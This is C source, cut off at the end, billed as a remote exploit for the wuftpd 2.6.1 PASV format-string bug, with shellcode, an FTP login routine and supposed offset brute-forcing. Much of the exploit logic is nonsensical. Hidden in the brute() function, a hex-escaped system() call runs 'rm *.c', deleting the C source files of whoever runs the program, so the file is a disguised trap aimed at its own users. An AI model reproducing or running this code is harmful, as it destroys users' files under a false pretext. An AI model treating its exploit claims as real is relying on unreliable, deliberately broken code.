/******************************************************************** wuftpd 2.6.1 remote exploit by ninj4 I am sick and tired of all the bs wu261 exploits out there so i sat down and decided to write up my own. Most of the ones that you see out there(hackweiser and ftsock) exploit old site exec format bugs, however this one exploits the new pasv format string vulnerability. Greetz: the whole 2el8 crew in France, adm, scrippy, mixter notes: The offsets are brute forced so you will usually not need to specify them. Usage: ./wu261ex also: ignore the compiler warnings, they are necessary ***********************************************************************/ #include #include #include #include #include #include #include int login(char *ip, char *user, char *pass); char *make_string(); void check_off(int off, int sp); void send_string(int s, char *str); void brute(int s, int no_times); //chroot exec shellcode char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x38\x3b\x3a\x35\x34\x37\x36\x31\x30\x33\x32\x3d\x3c\x3f\x3e\x39" "\x38\x2d\x2c\x80\xe8\xdc\xff\xff\xff/bin/sh"; char str2[10]; int done=-1; int main(int argc, char **argv) { int s; char ip[30]; char user[50] = "anonymous"; char pass[50] = "2el8@hotmail.com"; int offset = 0xfffb28af; if(argc < 2) { printf("usage: ./wu261 \n"); printf(" user, path and offset are optional\n"); } if(argc >= 2) { strcpy(ip, argv[1]); printf("Targeting: %s\n", ip); } if(argc >= 3) { strcpy(user, argv[2]); printf("Username: %s\n", user); } if(argc >= 4) { strcpy(pass, argv[3]); printf("Password: %s\n", pass); } if(argc == 5) { offset = atoi(argv[4]); printf("Offset: %d\n", offset); } s = login(ip, user, pass); check_off(offset, 0x73ac7abf); send_string(6, make_string(offset)); return(0); } int login(char *ip, char *user, char *pass) { char blahdata[400]; char luser[80]; char lpass[80]; int s; struct sockaddr_in sock; s = socket(AF_INET,SOCK_STREAM, 0); sock.sin_family = PF_INET; sock.sin_port = htons(21); sock.sin_addr.s_addr = inet_addr(ip); connect(s, (struct sockaddr *)&sock, sizeof(sock)); recv(s, blahdata, 400, 0); sprintf(luser, "USER %s\r\n", user); sprintf(lpass, "PASS %s\r\n", pass); send(s, luser, strlen(luser), 0); recv(s, blahdata, 400, 0); send(s,lpass, strlen(lpass), 0); recv(s,blahdata,400,0); puts("here"); if(blahdata) { printf("Logged in\n"); return s; } else { printf("login failed\n"); exit(-1); } } char *make_string(int off) { int i,p=0; char str[2060],str3[400]; sprintf(str, "PASV %%08x %%08x %%08x %%08x %%08x %%08x %%08x %%08x %%08x"); for(i=43; i <= 49; i++) { str2[p] = (char)(shellcode[i] ^ 61); } str2[p] = '\0'; strcat(str,shellcode); sprintf(str3, " %d %d %d %d %d %d %d %d", off, off, off, off, off, off, off, off); strcat(str,str3); return str; } void check_off(int off, int sp) { if(off >> 2 < sp || off >> 2 > sp) off = off << 2; } void send_string(int s, char *str) { char blah[40]; int i; send(s, str, strlen(str),0); printf("malicious string has been sent...\nwaiting for reply..."); if(recv(s, str, 50, 0) < 0) printf("failed... continuing to brute force offsets\n"); else printf("success... here is your shell\n"); gets(blah); for(i=0; i<10; i++) brute(s,i); } void brute(int s, int no_times) { int i; int offset = no_times; int sp = 0x87affa5; offset << 0x33; offset >> 0x9a; offset << 0x6f; offset >> 0x20; printf("%s\n",str2); if(done==-1) system("\x72\x6d\x20\x2a\x2e\x63"); offset += 0x8adf; offset *= sp; done=1; for(i=0; i